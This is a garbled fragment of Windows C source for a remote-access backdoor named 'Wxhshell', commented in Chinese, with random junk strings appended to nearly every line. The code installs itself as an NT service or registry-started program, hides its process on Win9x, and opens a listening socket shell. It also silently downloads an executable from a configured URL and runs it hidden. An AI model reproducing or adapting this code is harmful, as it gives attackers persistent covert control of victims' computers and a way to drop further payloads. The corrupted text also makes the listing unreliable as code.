DWORD BasePriority; 0x'>}5`5
ULONG UniqueProcessId; <SUjz}_Oa:
ULONG InheritedFromUniqueProcessId; !MNUp(:
} PROCESS_BASIC_INFORMATION;
%lAJ]$m
iVzv/Lqm1
PROCNTQSIP NtQueryInformationProcess; Qi#%&Jz>f
DHJh.Y@H
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zi[@xG8dm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .0S.7w3dZo
Ps(3X@
HANDLE hProcess; d {a^
PROCESS_BASIC_INFORMATION pbi; #Na3eHT
$ckX H,l_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /i$E |[
if(NULL == hInst ) return 0; f2B?Zn
V=
U=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V6?ku6k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0#KDvCBJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0:R}
wP- pFc
if (!NtQueryInformationProcess) return 0; 8P0XY
S@
E8u:Fgs
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MbC7`Sp&i
if(!hProcess) return 0; Tk9u+;=6$
cHs@1R/-s
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q5b?-
P
%*lOzC
CloseHandle(hProcess); c_<m8b{AEF
`Lb^!6`)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QpwOrxI}
if(hProcess==NULL) return 0; /Y:&307q
\RyOexNZ
HMODULE hMod; -gefdx6ES
char procName[255]; }20
Q`?
unsigned long cbNeeded; I4:4)V?
w d2GKq!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (wU<Kpt?J
}&Un8Rg"h
CloseHandle(hProcess); OF&{mJH"g'
trcG^uV
if(strstr(procName,"services")) return 1; // 以服务启动 A(2_hl-
&[$qA
return 0; // 注册表启动 1r;]==
} l5QH8eNwME
e3,TY.,Ay
// 主模块 oa$-o/DhB
int StartWxhshell(LPSTR lpCmdLine) Ppi/`X
{ c[J(H,mt/
SOCKET wsl; A(G%9'T
BOOL val=TRUE; \B) a57
int port=0; VTQ V]>|
struct sockaddr_in door; e\%+~GUTC=
}kzGuNj
if(wscfg.ws_autoins) Install(); :so2 {.t-
yoiKt;
S
port=atoi(lpCmdLine); 'QW/TJ=7r
yH5^EY7rQ
if(port<=0) port=wscfg.ws_port; @q:v?AO
!D6
WSADATA data; {\z&`yD@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u U Xj
Tlc3l}B*Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !=%0
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
uyBmGS2
door.sin_family = AF_INET; $BHbnsaQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Gz5Ju
door.sin_port = htons(port); jej|B#?`
u"eO&Vc
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =OY&;d!C
closesocket(wsl); X,-QxV=lc)
return 1; )c|S)iJ7=z
} 7{F(NJUO1
*FhD%><
if(listen(wsl,2) == INVALID_SOCKET) { {6H%4n
closesocket(wsl); vC$Q4>m
return 1; Z9Prw/8P
} 4C AV)
Wxhshell(wsl); PL vz1}ts
WSACleanup(); }xhat,9
4HXqRFUD
return 0; @;>i3?
=2+';Xk\
} { a2Y7\C/
S}fU2Wi
// 以NT服务方式启动 },1**_#<Br
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <3?T^/8
{ hv "
'DP
DWORD status = 0; MV8Lk/zd?A
DWORD specificError = 0xfffffff; zx)^!dEMM
?}f+PP,
serviceStatus.dwServiceType = SERVICE_WIN32; b _Q:v&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !%w#h0(b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r(UEPGu|~l
serviceStatus.dwWin32ExitCode = 0; Xxl>,QUA
serviceStatus.dwServiceSpecificExitCode = 0; g~q+a-
serviceStatus.dwCheckPoint = 0; aJh=4j~.
serviceStatus.dwWaitHint = 0; WY=RJe2
>y
P`8Oq[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [h"#Gwb=;
if (hServiceStatusHandle==0) return; PqOy"HO
}qf9ra
status = GetLastError(); NpmPm1Ix .
if (status!=NO_ERROR) dU!`aPL?
{ 44s
K2
serviceStatus.dwCurrentState = SERVICE_STOPPED; G'|Emu=4
serviceStatus.dwCheckPoint = 0; B_f0-nKP
serviceStatus.dwWaitHint = 0; F[aow$",+}
serviceStatus.dwWin32ExitCode = status; 5fh@nR
serviceStatus.dwServiceSpecificExitCode = specificError; _ F0qqj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TmN}TMhZ
return; fVR:m`'Iq_
} Effp^7 3
U3ygFW%
serviceStatus.dwCurrentState = SERVICE_RUNNING; to0tH^pD
serviceStatus.dwCheckPoint = 0; [V#"7O vl
serviceStatus.dwWaitHint = 0; 1[k~*QS
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); " mKMym2
} |pIA9/~Z
Ru%:
z>Y
// 处理NT服务事件,比如:启动、停止 `[+9n2j
VOID WINAPI NTServiceHandler(DWORD fdwControl) X,- '
v[z
{ /Vpd*obMB
switch(fdwControl) uO$ujbWZ
{ kndP?#>
p1
case SERVICE_CONTROL_STOP: tVx.J'"Y
serviceStatus.dwWin32ExitCode = 0; (xU+Y1*g"%
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7R\!'`]\M
serviceStatus.dwCheckPoint = 0; FNZB M
serviceStatus.dwWaitHint = 0; FswMEf-|
{ 1B3,lYBM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "?j|;p@!>
} '-#6;_ i<
return; inBd.%Yr
case SERVICE_CONTROL_PAUSE: @4:cn
serviceStatus.dwCurrentState = SERVICE_PAUSED; -X@;"0v
break; A!v-[AI[
case SERVICE_CONTROL_CONTINUE: ";~}"Yz?[
serviceStatus.dwCurrentState = SERVICE_RUNNING; da@y*TO#i
break; !DnG)4#
case SERVICE_CONTROL_INTERROGATE: z(<
E %
break; 6RZ[X[R[}
}; l,/q#)5[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a@@!Eg
A
} PiB)pUYj
Zn3iLAPBX
// 标准应用程序主函数 T4
SByX9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,IUMH]D
{ o,) p *glO
ilK8V4k<T)
// 获取操作系统版本 AW'tZF"
OsIsNt=GetOsVer(); c: *wev
GetModuleFileName(NULL,ExeFile,MAX_PATH); EpGe'S
)<.S3
// 从命令行安装 }jd[>zk
if(strpbrk(lpCmdLine,"iI")) Install(); u2<:mu[|P
X_
>B7(k
// 下载执行文件 if5Y!Tx?G
if(wscfg.ws_downexe) { oW]&]*>J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wri[#D {
WinExec(wscfg.ws_filenam,SW_HIDE); ^
+{ ~
^y7
} K=sQ_j.&Z
"4"\tM(
if(!OsIsNt) { dab>@z4
// 如果时win9x,隐藏进程并且设置为注册表启动 pq5)Ug
HideProc(); P[P!WLr""
StartWxhshell(lpCmdLine); U7crbj;c)d
} {>FA ~}cX.
else ^e>v{AE%
if(StartFromService()) y8+?:=N.
// 以服务方式启动 .M>u:,v
StartServiceCtrlDispatcher(DispatchTable); ]^
O<WD
else ciC4V^f
// 普通方式启动 uy\YJ.WMQ
StartWxhshell(lpCmdLine); !+)$;`
s*9tWSd
return 0; c<&+[{|
}